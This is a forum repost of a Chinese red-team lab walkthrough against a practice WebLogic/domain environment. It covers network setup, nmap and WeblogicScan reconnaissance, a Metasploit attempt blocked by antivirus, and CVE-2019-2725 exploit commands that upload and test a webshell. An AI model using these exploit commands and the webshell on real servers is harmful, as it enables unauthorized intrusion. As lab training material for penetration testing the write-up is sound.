设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [2060] 2021-02-26_红队评估ATT&CK-02
返回列表 发新帖
查看: 3|回复: 0

[2060] 2021-02-26_红队评估ATT&CK-02

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2021-02-26_红队评估ATT&CK-02 红 队 评 估   A T T & C K - 0 2 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 2 - 2 6 收 录 于 话 题   # 内 网 渗 透   , 8 个 环 境 搭 建 环 境 搭 建 网 络 拓 扑 网 络 拓 扑 内 网 网 段 ： 1 0 . 1 0 . 1 0 . 1 / 2 4 D M Z 网 段 ： 1 9 2 . 1 6 8 . 1 2 9 . 1 / 2 4 攻 击 机 地 址 ： 1 9 2 . 1 6 8 . 1 2 9 . 1 3 1 （ K a l i ） 防 火 墙 策 略 （ 策 略 设 置 过 后 ， 测 试 机 只 能 访 问 1 9 2 段 地 址 ， 模 拟 公 网 访 问 ） ： d e n y   a l l   t c p   p o r t s ： 1 0 . 1 0 . 1 0 . 1 a l l o w   a l l   t c p   p o r t s ： 1 0 . 1 0 . 1 0 . 0 / 2 4 密 码 过 期 ， 修 改 为 ：
d e 1 a y a d m i n i s t r a t o r 1 q a z @ W S X 3 e d c 配 置 配 置 D C D C 是 域 控 ， 只 能 内 网 访 问 ， 只 有 一 块 网 卡 ， 设 置 如 下 ： 配 置 配 置 P C 两 块 网 卡 ， 一 块 N A T 模 式 ( 模 拟 外 网 连 接 ) ， 一 块 自 定 义 模 式 ( 同 D C ， 模 拟 内 网 域 )
k a l i   i p 地 址 为 ： 1 9 2 . 1 6 8 . 1 2 9 . 1 3 1 为 了 能 和 k a l i 在 一 个 网 段 上 ， 这 里 需 要 修 改 一 下 模 拟 外 网 连 接 的 网 卡 设 置 重 新 获 取 到 I P 1 9 2 . 1 6 8 . 1 2 9 . 1 3 5
成 功 p i n g 通 k a l i 配 置 配 置 W E B 两 块 网 卡 ， 一 块 N A T 模 式 ， 一 块 自 定 义 模 式 ( 同 D C ) 修 改 模 拟 外 网 连 接 的 网 卡 设 置 ， 改 为 自 动 获 取 I P 地 址 ( 同 P C 配 置 过 程 ) 。 开 启 W e b L o g i c 服 务 ：
验 证 是 否 搭 建 启 动 成 功 ,   浏 览 器 访 问 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 9 . 1 3 6 : 7 0 0 1 h t t p : / / 1 0 . 1 0 . 1 0 . 8 0 : 7 0 0 1 环 境 到 此 配 置 完 毕 。 突 破 边 界 突 破 边 界 端 口 端 口 / 服 务 服 务
n m a p   1 9 2 . 1 6 8 . 1 2 9 . 1 3 5 m m a p   1 9 2 . 1 6 8 . 1 2 9 . 1 3 6 1 3 6 : 1 3 5 : 漏 洞 扫 描 漏 洞 扫 描 7 0 0 1 ： W e b l o g i c 服 务 端 口 ， 先 用 @ r a b b i t m a s k 和 @ d r 0 o p 两 位 师 傅 的 工 具 探 测 一 波 是 否 有 漏 洞 ： r a b b i t m a s k - W e b l o g i c S c a n ： p y t h o n 3   W e b l o g i c S c a n . p y   - u   1 9 2 . 1 6 8 . 1 2 9 . 1 3 6   - p   7 0 0 1 d r 0 o p - W e b l o g i c S c a n ： p y t h o n 3   W e b l o g i c S c a n . p y   1 9 2 . 1 6 8 . 1 2 9 . 1 3 6   7 0 0 1
此 时 已 有 攻 击 面 ： 爆 破 管 理 后 台 S S R F   ,   探 测 内 网 服 务 J a v a 反 序 列 化 C V E - 2 0 1 7 - 3 5 0 6 C V E - 2 0 1 9 - 2 7 2 5 C V E - 2 0 1 9 - 2 7 2 9 注 意 ， 目 前 工 具 梭 哈 虽 然 方 便 ， 但 是 并 不 全 ， 所 以 还 是 需 要 去 手 工 检 测 的 ： 当 然 ， 这 里 的 重 点 是 突 破 边 界 ， 不 求 多 条 路 径 ， 能 进 去 就 成 。 漏 洞 利 用 漏 洞 利 用 - w e b l o g i c
C V E - 2 0 1 9 - 2 7 2 5 M S F 看 看 能 不 能 直 接 用 m s f 一 步 到 位 ： s e a r c h   w e b l o g i c 利 用 模 块 ： w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e
配 置 参 数 、 建 立 监 听 并 利 用 可 是 却 一 直 失 败 ： 后 来 在 网 上 看 见 其 他 师 傅 的 b l o g ,   发 现 他 们 都 成 功 了 ， 自 闭 3 s 。 开 启 白 盒 模 式 ， 发 现 原 来 之 前 发 送 的 p a y l o a d 被 目 标 机 上 的 3 6 0 拦 截 了
但 是 ,   其 他 人 为 何 成 功 了 呢 ， 疑 惑 。 W e b h e l l m s f 梭 哈 路 不 通 ， 只 好 换 种 姿 势 。 执 行 命 令 p y t h o n 3   w e b l o g i c - 2 0 1 9 - 2 7 2 5 . p y   1 0 . 3 . 6   h t t p : / / 1 9 2 . 1 6 8 . 1 2 9 . 1 3 6 : 7 0 0 1   w h o a m i 上 传 w e b s h e l l p y t h o n 3   w e b l o g i c - 2 0 1 9 - 2 7 2 5 . p y   1 0 . 3 . 6   h t t p : / / 1 9 2 . 1 6 8 . 1 2 9 . 1 3 6 : 7 0 0 1             测 试 w e b s h e l l / b e a _ w l s _ i n t e r n a l / d e m o . j s p ? p w d = a d m i n & c m d = i p c o n f i g
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:30 , Processed in 0.749565 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表